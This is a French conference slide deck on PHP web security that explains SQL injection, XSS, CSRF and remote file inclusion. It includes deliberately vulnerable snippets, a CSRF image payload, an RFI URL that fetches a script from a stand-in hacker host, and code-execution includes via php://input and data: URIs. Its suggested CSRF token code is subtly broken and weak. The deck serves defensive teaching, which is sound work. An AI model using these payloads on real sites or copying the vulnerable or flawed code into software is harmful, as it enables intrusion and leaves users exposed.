J’ai des trous, des p’tits trous,
encore des p’tits trous...
Sécurité des applications web en PHP - Sébastien Pauchet et Frank Taillandier - 10 octobre 2009 - Paris Web

Sébastien Pauchet
seb@automne.ws - @Automne_WS
‣ Responsable technique chez WS interactive
‣ Architecte logiciel du CMS open-source Automne
‣ Ingénieur PHP5 certifié par Zend
‣ 10 ans de développement Web

Frank Taillandier
frank.taillandier@ac-toulouse.fr - @DirtyF
‣ Chef de projet web
‣ «Expert» en accessibilité web
‣ Contributeur au CMS open-source Automne

Sécurité ?

Sécurité : définition
« Les principes de la sécurité d'une application sont un ensemble de
propriétés souhaitables de comportement, de design et de mise en
oeuvre qui contribuent à réduire la probabilité de la réalisation et de
l'impact de menaces. Les principes de sécurité sont indépendants du
langage et de l'architecture et peuvent être un levier dans la plupart
des méthodologies de développement pour concevoir et construire des
applications.
En considérant ces principes nous pouvons prendre des décisions
d'architecture et d'implémentation et identifier les faiblesses possibles
des systèmes. »
Source : OWASP (Open Web Application Security Project)

97% des sites web sont hautement vulnérables
http://www.webappsec.org/projects/statistics/

Points essentiels
1. Mettre en place une défense en profondeur (sécurité à tous les niveaux)
2. Minimiser la surface d’attaque
3. Minimiser la portée des erreurs
4. Exécuter avec le minimum de droits
5. Eviter de baser uniquement la sécurité sur un système fermé
6. Garder un système de sécurité simple (KISS)
7. Pouvoir détecter les intrusions (garder une verbosité suffisante des
fichiers journaux)
8. Ne jamais faire confiance à l’infrastructure
9. Ne pas se fier aux utilisateurs
10. Mettre en place une sécurité par défaut psychologiquement acceptable

Ouvert 24/24

Les 3 phases d’un exploit
Détection
• Recherche d’informations liées aux applications et au système
• Tests automatisés
Les attaques les plus critiques
• Injection SQL : 8% des sites web vulnérables (Source : stats WASC 2007)
• XSS (Cross site scripting) : 31,5% des sites web vulnérables
• CSRF (Cross site request forgery)
• RFI (Remote file inclusion)
Exploitation
• Prendre le contrôle de votre infrastructure (accès au serveur)
• Obtenir vos données
• Modifier vos données
• Vous empêcher de communiquer (DOS : denial of service)

Les attaques

Injections SQL

Injection SQL
Différents types d’injection : SQL, LDAP, XPath, XSLT,
HTML, XML, commandes systèmes et beaucoup
d’autres.
Définition : Les attaquants dupent l'interpréteur en
lui faisant exécuter des commandes non prévues.
Conséquences : Permettre de créer, lire, modifier ou
effacer les données de l’application.

Injection SQL
Exemple
Si la donnée provenant d’un utilisateur est envoyée à un interpréteur sans aucune validation
ou encodage, l’application est vulnérable :
$sql = "SELECT * FROM table WHERE id = '" . $_REQUEST ['id’] . "’";

Injection SQL
Solutions
• Validation de toutes les données d’entrée.
• Evitez les messages d’erreurs détaillés.
• Utilisez de préférence des requêtes SQL stockées ou
les requêtes paramètrées.
• N’utilisez pas les fonctions d’échappements simples.

XSS : cross-site scripting

XSS : cross-site scripting
Définition : XSS consiste à injecter du code HTML
ou Javascript sur un site.
Conséquences : Détourner des sessions utilisateur,
défigurer des sites web, insérer du contenu hostile,
effectuer des attaques par phishing, et prendre le
contrôle du navigateur de l'utilisateur.

XSS : cross-site scripting
Par réflexion : une page renverra à l'utilisateur des
données fournies directement à celui-ci :
echo $_REQUEST ['userinput'];
Par stockage : stocke des donées hostiles, et
ultérieurement, affiche les données non filtrées à l'utilisateur.
Par injection DOM : le code JavaScript et les variables du
site sont manipulés plutôt que les éléments HTML.

XSS : cross-site scripting
Solutions
Validation d’entrée : valider la longueur, le type et la syntaxe de toute entrée
saisie avant d'accepter l'affichage ou le stockage des données. Accepter seulement
quelque chose de connu (whitelist). Rejeter toute entrée invalide.
Encodage des données en sortie : Assurez-vous que toutes les données
écrites par l'utilisateur sont convenablement codées par entité avant le rendu.
Pas de blacklist pour détecter XSS. La recherche et le remplacement de juste
quelques caractères ("<" ">" et d'autres caractères ou expressions semblables telles
que "script") est faible. Même un tag non vérifié "<b>" est dangereux dans certains
contextes.
Plus d’exemples sur http://ha.ckers.org/xss.html

CSRF : cross-site request forgery

CSRF : cross-site request forgery
Définition
Forcer le navigateur d'une victime ayant une session ouverte sur une
application web à effectuer une requête sur cette dernière application.
A la différence du XSS qui exploite la confiance d’un utilisateur envers un
site, CSRF exploite la confiance d’un utilisateur envers son navigateur.
Conséquences
Toute application web qui ...
• ne dispose pas de vérifications d'autorisation (confirmation, jeton) avant
d'effectuer des actions,
• autorise des requêtes basées sur une authentification automatique (cookies de
session, ‘Se souvenir de moi’),
... est vulnérable.

CSRF : cross-site request forgery
• Bob est l'administrateur d'un forum, il y est connecté par un système de
sessions.
• Alice est un membre, elle veut supprimer un des messages.
Elle n'a pas les droits nécessaires avec son compte.
Elle va utiliser celui de Bob grâce à une attaque de type CSRF.
• Alice arrive à connaître le lien qui permet de supprimer le message.
• Alice envoie à Bob un email contenant une pseudo-image à afficher :
<img src="http://bob.com/delete.php?post=id" />
• Le navigateur de Bob affiche la pseudo-image ce qui actionne le lien.
Ne reconnaissant pas le type d'image associé, le navigateur n'affiche rien.
• Bob ne sait pas qu'Alice vient de lui faire supprimer un message.

CSRF : Cross Site Request Forgery
Solution
• Ne pas utiliser de requête HTTP GET pour effectuer des actions.
• Demander des confirmations à l'utilisateur pour les actions critiques.
• Utiliser des jetons de validité dans les formulaires :
<?
$token = sha1(rand(0, 99999));
$token_name = sha1(rand(0, 99999));
$_SESSION['token'] = $token;
$_SESSION['token_name'] = token_name();
?>
<form action="/add_post.php" method="post">
<input type="hidden" name="<?php echo $token_name; ?>"
value="<?php echo $token; ?>" />
<p>Subject: <input type="text" name="post_subject" /></p>
<p>Message: <textarea name="post_message"></textarea></p>
<p><input type="submit" value="Add Post" /></p>
</form>
• Pour les requêtes Ajax : utiliser un header HTTP spécifique à votre
application pour signer la requête.

RFI : Remote File Inclusion

RFI : Remote File Inclusion
Définition : L'inclusion de fichier distant permet d'exécuter son propre code sur
votre serveur en exploitant la possibilité de l'inclure directement dans votre site.
Conséquences : Fournir des données d’entrée (comme des URLs) dans des
fonctions de gestion de fichiers non vérifiées peut conduire :
• à l’exécution de code distant,
• à l’installation de rootkit pour compromettre votre système.
Cette attaque est particulièrement répandue sur PHP, un soin extrême doit être
pris avec tout flux ou toute fonction de fichier afin de s'assurer que l'entrée fournie
par l'utilisateur n'influence pas les noms de fichiers.

RFI : Remote File Inclusion
Avant PHP 4.2 (ou allow_url_fopen + register_globals activé) :
include $_SERVER[‘DOCUMENT_ROOT’].’/fichier.php’;
Vulnérable avec l’URL :
http://site.tld/file.php?_SERVER[DOCUMENT_ROOT]=http://hacker.tld/
script.txt?
Toute version de PHP (quelque soit la configuration) :
include $_REQUEST['filename’];
Exemple 1: Utiliser php://input pour lire les données POST
<?php
// L’inclusion suivante va inclure et exécuter toutes
// les données POST
include "php://input";
?>
Exemple 2: Utiliser data: pour inclure du code arbitraire
<?php
// L’inclusion suivante va exécuter le code encodé en
// base64 : Ici, un phpinfo()
include "data:;base64,PD9waHAgcGhwaW5mbygpOz8+";
?>

RFI : Remote File Inclusion
Solution
• Filtrer les entrées utilisateurs (whitelist).
• Sécuriser les configurations (désactiver allow_url_fopen, allow_url_include
(PHP 5.2), register_globals).
• Ne pas inclure de fichiers depuis une variable.
• Vérifiez que les fonctions de fichiers et de gestion de flux sont soigneusement
contrôlées. Les données utilisateurs ne doivent pas être utilisées par des
fonctions prenant un fichier en argument.
Exemple, les fonctions suivantes :
include() include_once() require() require_once() fopen()
imagecreatefromXXX() file() file_get_contents() copy() delete()
unlink() upload_tmp_dir() $_FILES move_uploaded_file()

Conclusion
Pour les développeurs
• Pensez à la sécurité lors de la conception de vos applications ;
• Adopter les standards de codage ;
• Refactorisez le code existant pour utiliser des conceptions plus sûres ;
• Testez votre code pour identifier tout défaut de sécurité ;
• Consultez les ouvrages de références.
Pour les décideurs
• Employez des développeurs qui ont une réelle ou forte expérience dans la
sécurité ou formez-les !
• Faites tester les défauts de sécurité tout au long du projet : conception,
construction, test et déploiement ;
• Allouez des ressources, du budget et du temps dans le plan projet pour
remédier aux problèmes de sécurité ;
• Considérez l'utilisation d'auditeurs de code tiers.

Ressources
• OWASP : Open Web Application Security Project
• Les dix vulnérabilités de sécurité applicatives web les plus critiques 2007
• Adam Barth, Collin Jackson, and John C. Mitchell : Robust defenses for CSRF
• http://ha.ckerz.org : Web Application Security Lab
• http://sectools.org/ : logiciels de test automatisés (Nikto, WebScarab, Acunetix,
WebInspect,)
• http://www.php.net/manual/security
• MISC (Multi-system & Internet Security Cookbook) est un magazine bimestriel
français spécialisé dans la sécurité informatique

Crédits photos
• Impact : http://www.flickr.com/photos/dirtyf/3369077142/
• Security Guard : http://www.flickr.com/photos/f1rstborn/2440157127/
• Hi Jacking Hot Spot : Luka Skracic
• Open : http://www.flickr.com/photos/mag3737/1914076277/
• Pirates : http://www.flickr.com/photos/joriel/3230590513/
• Injections : http://www.flickr.com/photos/limowreck666/223731385/
• Bike air : http://www.flickr.com/photos/dirtyf/3518547212/
• Surf fail : http://www.flickr.com/photos/edwindejongh/369296684/
• Remote : http://www.flickr.com/photos/cayusa/2530412232/